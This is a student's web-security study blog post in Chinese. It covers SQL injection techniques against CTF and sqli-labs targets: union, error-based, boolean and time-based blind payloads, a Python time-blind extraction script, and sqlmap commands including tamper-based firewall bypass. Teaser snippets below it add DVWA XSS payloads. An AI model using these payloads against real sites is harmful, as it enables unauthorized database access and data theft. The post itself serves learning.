Web安全漏洞个人学习笔记

原创 已于 2025-03-14 20:03:39 修改 · 1.5k 阅读 · 15
标签
#web安全 #学习 #笔记 #网络安全 #安全
#系统安全
于 2024-01-09 20:37:24 首次发布

 前言

这是我大三上学期个人学习的web安全漏洞笔记，学的不是特别的深入，也希望能够帮助学弟学妹们

SQL注入

SQL注入常见题型

CTF中SQL注入常见题型整理_ctf sql-CSDN博客

SQL注入的语法

CTF-Web【SQL注入】漏洞做题姿势积累 | Fan的小酒馆 (fanygit.github.io)

整数型注入

? union select group_concat(schema_name) from information_schema.SCHEMATA;
? union select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = '数据库名字';
? union select group_concat(Column_name) from information_schema.COLUMNS where TABLE_NAME = '表名字';

字符型注入

?' union select group_concat(schema_name) from information_schema.SCHEMATA;#
?' union select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = '数据库名字';#
?' union select group_concat(Column_name) from information_schema.COLUMNS where TABLE_NAME = '表名字';#

例题

第一步：判断是整型还是字符型注入

当输入1 ' or 1=1 # 时回显

第二步：判断注入的数据库有几列的数据

输入1' or 1=1 union select 1,2,3 #时回显

第三步，发现注入点在第二列，查询数据库

1' or 1=1 union select 1,(database()),3#

第四步，利用数据库名称查询数据库表有几个

1' or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3 #

第五步，查询列字段

1' or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag'),3 #

第五步，爆破flag

1‘ or 1=1 union select 1,(select flag from flag),3#

报错注入

报错注入就是利用了数据库的某些机制，人为地制造错误条件，使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误和concat+rand()+group_by()导致主键重复

and extractvalue(1,concat(0x7e,database(),0x7e)) #先爆破数据库名字
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #在爆破表名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))
#再爆破列名
and extractvalue(1,concat(0x7e,(select flag from flag),0x7e)) #最后爆破数据
​
//xpathxml
1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)
 

 

布尔注入
 

方法一(手动注入)
 

 
 
布尔盲注一般流程 因为盲注不能直接用database（）函数得到数据库名，所以步骤如下： ①判断数据库名的长度：and length(database())>11 回显正常；and length(database())>12 回显错误，说明数据库名是等于12个字符。 ②猜测数据库名（使用ascii码来依次判断）：and (ascii(substr(database(),1,1)))>100 --+ 通过不断测试，确定ascii值，查看asciii表可以得出该字符，通过改变database（）后面第一个数字，可以往后继续猜测第二个、第三个字母… ③猜测表名：'and (ascii(substr((select table_name from information_schema.tables where table.schema=database() limit 1,1)1,1)>144 --+'往后继续猜测第二个、第三个字母… ④猜测字段名（列名）：and (ascii(substr((select column_name from information_schema.columns where table.schema=database() and table_name=’数据库表名’ limit 0,1)1,1)>105 --+ 经过猜测 ascii为 105 为i 也就是表的第一个列名 id的第一个字母;同样,通过修改 limit 0,1 获取第二个列名 修改后面1,1的获取当前列的其他字段. ⑤猜测字段内容：因为知道了列名，所以直接 select password from users 就可以获取password里面的内容，username也一样 and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+
 

 

方法二：盲注
 

打开Burp Suite -> intercept is on 开始拦截站点 ->add intruder->添加爆破点->选择numbers进行爆破攻击
 

 

时间盲注
 

 

时间育注是什么 通过注入特定语句，根据对页面请求的物理反馈，来判断是否注入成功，如: 在SQL语句中使用sleep 函数看加载网页的时间来判断注入点。 适用场景: 没有回显，甚至连注入语句是否执行都无从得知
 

 

原理分析：
 

 

 -- 有如下语句
 select * from products where category = '?' and sleep(3) -- ';
 
 -- 如果用户输入的是
 -- Gifts' sleep(2) --';
 
 -- 那么原始语句就是
 select * from products where category = 'Gifts' and sleep(2) -- ';
 
 -- 当category = 'Gifts' 有值的话，休眠两秒
 -- 当category = 'Gifts' 没有值的话，直接返回
 

 

 

常用函数
 

 

sleep(n) -- 返0 命令中断返回1
 

substr(a,b,c) -- 从b为止开始截取字符串a的c长度 mid()用法相似
 

count() -- 计算总数
 

ascii() -- 返回字符的ASCII码 ord()用法类似
 

length() -- 返同字符中的长度
 

 

时间盲注python脚本(示例)
 

import requests
import time
​
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''
global length
for l in range(1,20):
    Url = 'http://192.168.10.128/sqli-labs-master/Less-6/?id=1" and if(length(database())>{0},1,sleep(3))--+'
    UrlFormat = Url.format(l)      #format（）函数使用
    start_time0 = time.time()       #发送请求前的时间赋值
    requests.get(UrlFormat,headers=headers)
    if  time.time() - start_time0 > 2:  #判断正确的数据库长度
            print('database length is ' + str(l))
            global length 
            length = l  #把数据库长度赋值给全局变量
            break
    else:
        pass
for i in range(1,length+1):
    for char in chars:
        charAscii = ord(char) #char转换为ascii
        url = 'http://192.168.10.128/sqli-labs-master/Less-6/?id=1" and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
        urlformat = url.format(i,charAscii)
        start_time = time.time()
        requests.get(urlformat,headers=headers)
        if  time.time() - start_time > 2:
            database+=char
            print('database: ',database)
            break
        else:
            pass
print('database is ' + database)
​
 

 

img
 

 

SQLMAP
 

 

sqlmap是一款基于python编写的渗透测试工具，在sql检测和利用方面功能强大，支持多种数据库。
 

Sqlmap常用命令总结及注入实战（Access、mysql）sqlmap命令OKAY_TC的博客-CSDN博客
 

常用命令
 

1.     sqlmap -u  "http://www.xx.com?id=x"    【查询是否存在注入点】
2.     --dbs         【检测站点包含哪些数据库】
3.     --current-db    【获取当前的数据库名】
4.     --tables -D "db_name"  【获取指定数据库中的表名 -D后接指定的数据库名称】
5.     --columns  -T "table_name" -D "db_name"  【获取数据库表中的字段
6.     --dump -C "columns_name" -T "table_name" -D "db_name"  【获取字段的数据内容】
 

 

cookie注入
 

sqlmap -u "http://www.xx.com?id=x" --cookie "cookie" --level 2  【cookie注入 后接cookie值】
 

 

 

post注入
 

（1）目标地址http:// www.xxx.com /login.asp
（2）打开brup代理。
（3）点击表单提交
（4）burp获取拦截信息（post）
（5）右键保存文件（.txt）到指定目录下
（6）运行sqlmap并执行如下命令：
用例：sqlmap -r okay.txt  -p  username
​
// -r表示加载文件(及步骤（5）保存的路径)，-p指定参数（即拦截的post请求中表单提交的用户名或密码等name参数）
​
（7）自动获取表单：--forms自动获取表单
​
例如：sqlmap -u www.xx.com/login.asp --forms
​
（8）指定参数搜索：--data
 

 

常用指令
 

1.    --purge      【重新扫描（--purge 删除原先对该目标扫描的记录）
​
2.    --tables      【获取表名
​
3.     --dbs         【检测站点包含哪些数据库
​
4.     --current-db    【获取当前的数据库名
​
5.     --current-user  【检测当前用户
b
6.    --is-dba   【判断站点的当前用户是否为数据库管理员
​
7.    --batch      【默认确认，不询问你是否输入
​
8.    --search  【后面跟参数 -D -T -C 搜索列（C），表（T）和或数据库名称（D）
​
9.    --threads 10  【线程，sqlmap线程最高设置为10
​
10.  --level 3        【sqlmap默认测试所有的GET和POST参数，当--level的值大于等于2的时候也会测试HTTP Cookie头
                                的值，当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5
11.  --risk 3           【执行测试的风险（0-3，默认为1）risk越高，越慢但是越安全
​
12.     -v   【详细的等级(0-6)
          0：只显示Python的回溯，错误和关键消息。
          1：显示信息和警告消息。
          2：显示调试消息。
          3：有效载荷注入。
          4：显示HTTP请求。
          5：显示HTTP响应头。
          6：显示HTTP响应页面的内容
​
13.    --privileges  【查看权限
​
14.   --tamper xx.py,cc.py   【防火墙绕过，后接tamper库中的py文件
​
15.  --method "POST" --data "page=1&id=2"   【POST方式提交数据
​
16.  --threads number　　【采用多线程 后接线程数
​
17.  --referer  "" 

                

        

    





  


        

            

                      
                        
                        最低0.47元/天 解锁文章
                          
                      
            

        


    



              

                

              

            
              



	

		

			

				
					
常见Web安全漏洞

					
热门推荐

				
			

			

				

					weixin_45253622的博客
				

				

					03-07
					
					1万+
					
				

			

		

		

			
				
常见Web漏洞小结
1越权漏洞
不同权限账户之间的存在越权访问
检测
抓去a用户功能链接，然后登录b用户对此链接进行访问
抓去a用户功能链接，修改id为b的id，查看是否能看b的相关数据
替换不同的cookie进行测试查看
防范
1服务器端必须对每个页面链接进行权限判断。
2用户登陆后，服务器端不应再以客户端提交的用户身份信息为依据，而应以会话中服务端保存的已登陆的用户身份信息为准。
3页面提交的资源标志与已登陆的用户身份进行匹配比对，然后判断其对当前链接是否有权限。
4必须在服务器端对每个请求URL进行鉴

			
		

	



              


  
              

                


	

		

			

				
					
DVWA 之 XSS（Reflected）反射型XSS

				
			

			

				

					RexHa的博客
				

				

					10-07
					
					2726
					
				

			

		

		

			
				
dvwa 反射型XSS

			
		

	





	

		

			

				
					
xss学习 2

				
			

			

				

					weixin_63231007的博客
				

				

					05-01
					
					295
					
				

			

		

		

			
				
Dvwa xss部分

xss (Reflected)

low

没有过滤，直接<script>alert('xss')</script>即可。

Medium

查看源码可知，

$name = str_replace( '<script>', '', $_GET[ 'name' ] );

对<script>进行了过滤，转化为空。因此可以大小写绕过，或者重写。

可构造：

<SCRipt>alert('xss')</SCRipt&..

			
		

	



		

			
		



	

		

			

				
					
SQLMap用户手册【超详细】

				
			

			

				

					weixin_30617737的博客
				

				

					07-27
					
					238
					
				

			

		

		

			
				
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1当给sqlmap这么一个url的时候，它会：1、判断可注入的参数2、判断可以用那种SQL注入技术来注入3、识别出哪种数据库4、根据用户选择，读取哪些数据sqlmap支持五种不同的注入模式：1、基于布尔的盲注，即可以根据返回页面判断条件真假的注入。2、基于时间的盲注，即不能根据页面返回内容判断任何...

			
		

	





	

		

			

				
					
反射型XSS(Reflected)DVWA全等级绕过方法

				
			

			

				

					
				

				

					11-30
					
					4719
					
				

			

		

		

			
				
本站所有文章均为原创，欢迎转载，请注明文章出处[https://blog.csdn.net/weixin_43847838/article/details/110358618](https://blog.csdn.net/weixin_43847838/article/details/110358618).。百度和各类采集站皆不可信，搜索请谨慎鉴别。技术类文章一般都有时效性，本人习惯不定期对自己的博文进行修正和更新，因此请访问出处以查看本文的最新版本。

			
		

	





	

		

			

				
					
Web漏洞-access注入、Sql Sever（Mssql）注入、PostgreSql注入、Orache注入、MongoDB注入、Oracle注入-SQLmap使用教程-附实例

				
			

			

				

					ranzi.
				

				

					01-15
					
					2095
					
				

			

		

		

			
				
Mongodb的查询文档方式与其他的数据库略微不同，当进行条件查询的时候，mysql是用where，而mongodb是以键值对形式（类似于JSON）进行查询的。这里是一个跟Mysql数据库的一个不同的位置，PostgreSql数据库union select后用。因为access数据库不包含数据库名，所以直接从表名开始查询。最后将password解密后进入后台复制KEY提交即可。”，所以在注入过程中需要我们进行暴力猜解。------>注意与Mysql进行对比。在进行注入时，要注意对。sqlmap使用教程。

			
		

	





	

		

			

				
					
【GitHub项目推荐--7个最佳开源免费Web安全漏洞扫描工具】【转载】

				
			

			

				

					j8267643的博客
				

				

					04-04
					
					4283
					
				

			

		

		

			
				
它支持一系列数据库服务器，包括MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、MySQL和SAP MaxDB等。它完全支持六种SQL注入技术，包括：基于时间的盲测、基于布尔的盲测、基于错误、UNION查询、堆栈查询、带外数据等。Web漏洞扫描工具可以用于检测Web应用程序中可能存在的漏洞，例如：代码注入、代码泄漏、跨站脚本、跨站请求伪造、会话劫持、文件传输等。这个工具是用C开发的。

			
		

	





	

		

			

				
					
最全常见Web安全漏洞总结及推荐解决方案

				
			

			

				

					qq_42552574的博客
				

				

					12-18
					
					9075
					
				

			

		

		

			
				
常见Web安全漏洞总结及推荐解决方案1.SQL注入：2.不安全的会话管理漏洞：3.任意文件上传：4.任意文件读取：5.任意代码执行：6.越权访问：7.敏感信息泄露：8.XSS跨站脚本攻击：9.CSRF跨站请求伪造：10.用户名/口令暴力爆破：11.弱口令漏洞：12.撞库攻击：13.注册模块设计缺陷：14.短信接口设计缺陷：15.URL重定向漏洞：16.拒绝服务漏洞：17.不足的日志记录和监控：18.业务逻辑漏洞：19.资源控制(预警级别，非漏洞级别)20.网络安全通信协议：
1.SQL注入：

SQL注入（

			
		

	





	

		

			

				
					
web安全漏洞

				
			

			

				

					2301_79535544的博客
				

				

					12-08
					
					1497
					
				

			

		

		

			
				
作为一位过来人也是希望大家少走一些弯路，如果你不想再体验一次学习时找不到资料，没人解答问题，坚持几天便放弃的感受的话，在这里我给大家分享一些自动化测试的学习资源，希望能给你前进的路上带来帮助。

			
		

	





	

		

			

				
					
网安笔记：基础漏洞（面试篇）

				
			

			

				

					CHAsichuan的博客
				

				

					06-17
					
					2153
					
				

			

		

		

			
				
网安必备的23个基础漏洞（超详细）

			
		

	





	

		

			

				
					
XSS漏洞

				
			

			

				

					weixin_44022769的博客
				

				

					03-25
					
					911
					
				

			

		

		

			
				
前言

XSS即跨站脚本(Cross Site Script)，发生在目标网站中目标用户的浏览器层面上，当用户浏览器渲染整个HTML文档的过程中出现了不被预期的脚本指令并执行时，XSS就会发生。

通俗地总结XSS为：想尽一切办法将你的脚本内容在目标网站中目标用户的浏览器上解析执行即可。

这个“跨”实际上属于浏览器的特性，而不是缺陷，造成“跨”这样的假象是因为绝大多数XSS攻击都会采用嵌入一段远程或者说第三方域上的脚本资源。

使用场景：

直接嵌入html<script>标签中
	元素标签事

			
		

	





	

		

			

				
					
DVWA实战测试之XSS

				
			

			

				

					0xdawn的博客
				

				

					08-08
					
					1070
					
				

			

		

		

			
				
0x01 XSS(Reflected)
Low
源码分析
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user...

			
		

	





	

		

			

				
					
sqlmap (os-shell)

				
			

			

				

					猎荒者
				

				

					03-14
					
					5959
					
				

			

		

		

			
				
Dancing with your ghost

环境准备
Kali（IP：10.10.16.128）
win 7（IP：10.10.16.131）使用 phpstudy 搭建 sql 注入漏洞环境
NAT 网络连接

漏洞源码
查看源码可以得知这是一个数字型 SQL 注入


漏洞利用
直接在 Kali 中打开 Firefox 浏览器，访问。（这里在 phpstudy 的设置中，将 apach...

			
		

	





	

		

			

				
					
XSS(Reflected)  反射型跨站攻击

				
			

			

				

					manok的专栏
				

				

					11-05
					
					2507
					
				

			

		

		

			
				
今天我学习一下反射型XSS。

打开DVWA网站，先切换到low级别，选择XSS（Reflected）



先查看其源代码：



<?php
header("X-XSS-Protection:0");//Isthereanyinput?if(array_key_exists("name",$_GET)&&$_GET['name']!=...

			
		

	





	

		

			

				
					
渗透测试学习1---DVWA之XSS

				
			

			

				

					正在学习的路上...
				

				

					04-26
					
					432
					
				

			

		

		

			
				
反射型XSS
1.low
PHP源码：
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Feedback for end user
	$html .= '<pre>Hello ' . $_GET[ 'name'...

			
		

	





	

		

			

				
					
漏洞发现笔记分享

					
最新发布

				
			

			

				

					2502_93452092的博客
				

				

					12-03
					
					1169
					
				

			

		

		

			
				
这里主要讲的是漏洞发现的工具和插件利用

			
		

	





	

		

			

				
					
漏洞笔记

				
			

			

				

					weixin_45253622的博客
				

				

					03-02
					
					499
					
				

			

		

		

			
				
常见漏洞学习笔记
1越权漏洞
不同权限账户之间的存在越权访问
检测
抓去a用户功能链接，然后登录b用户对此链接进行访问
抓去a用户功能链接，修改id为b的id，查看是否能看b的相关数据
替换不同的cookie进行测试查看
防范
在后台服务做严格的用户权限验证
2 sql注入
后台sql语句拼接了用户的输入，而且web应用程序对用户输入数据的合法性没有判断和过滤，前端传入后端的参数是攻击者可控的，攻击者通过构造不同的sql语句来实现对数据库的任意操作。
检测
对注入点进行测试，
单引号，双引号–>报错


			
		

	





	

		

			

				
					
ASP.NET(C#)后台安全登陆代码（防XSS攻击\万能密码漏洞）

				
			

			

				

					yanzhibo的专栏IlgawME)Y*Ml
				

				

					02-22
					
					9354
					
				

			

		

		

			
				
string ispostback = Context.Request["ispostbask"];
        string k8user = this.txtUser.Text.Trim();
        string k8pwd = this.txtPwd.Text.Trim();
        string k8md5pwd = FormsAuthentication.HashP

			
		

	





	

		

			

				
					
漏洞扫描 解决 X-XSS-Protection 响应头缺失问题

				
			

			

				

					记录学习的过程
				

				

					02-21
					
					2126
					
				

			

		

		

			
				
X-XSS-Protection 是一个关键的 HTTP 安全响应头，用于启用浏览器的内置跨站脚本（XSS）过滤功能，从而减少 XSS 攻击的风险。优先使用 Content-Security-Policy (CSP) 的 script-src 指令，提供更全面的 XSS 防护。通过正确配置 X-XSS-Protection 响应头，可有效降低 XSS 攻击风险，提升 Web 应用安全性。现代浏览器（Chrome、Edge、Safari）默认启用 XSS 过滤，但显式设置头可确保旧版浏览器兼容。

			
		

	





	

		

			

				
					
xss绕过字符过滤_反射型XSS—dvwa靶场—medium

				
			

			

				

					weixin_34726945的博客
				

				

					12-16
					
					291
					
				

			

		

		

			
				
服务器端核心代码 <?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {  // Get input $name = str_replace( '<>', '', $_GET[ 'name' ] );  // Feedback...

			
		

	



              




          





        



    





    



      

      

        
      

      





	

		评论	
	

  
	




  

    

      添加红包
      
    

    

      

        
        

          
          
        

        
请填写红包祝福语或标题

      

      

        
        

          
          个
        

        
红包个数最小为10个

      

      

        
        

          
          元
        

        
红包金额最低5元

      

      

        
        

          当前余额3.43元
          前往充值 >
        

      

      

        

          需支付：10.00元
        

        
        
      

    

  





  

    
    
  

  

    
    
  








  

    

      

        

          

            
            
成就一亿技术人!

          

          

        

        

          

          

            领取后你会自动成为博主和红包主的粉丝
            规则
          

        

      

      

        

          

            
              
            
            

              
hope_wisdom
 发出的红包
            

          

        

        

          

          

          

        

      

    

    

  



      
      

      
实付元

      
使用余额支付

      

        

          

            
            点击重新获取
          

        

        
扫码支付

      

      

        
          
            
          
          
        
      

      

        
        钱包余额
          0
          

            
            

              

                
抵扣说明：

                
 1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
 2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

              

            

          

      

      余额充值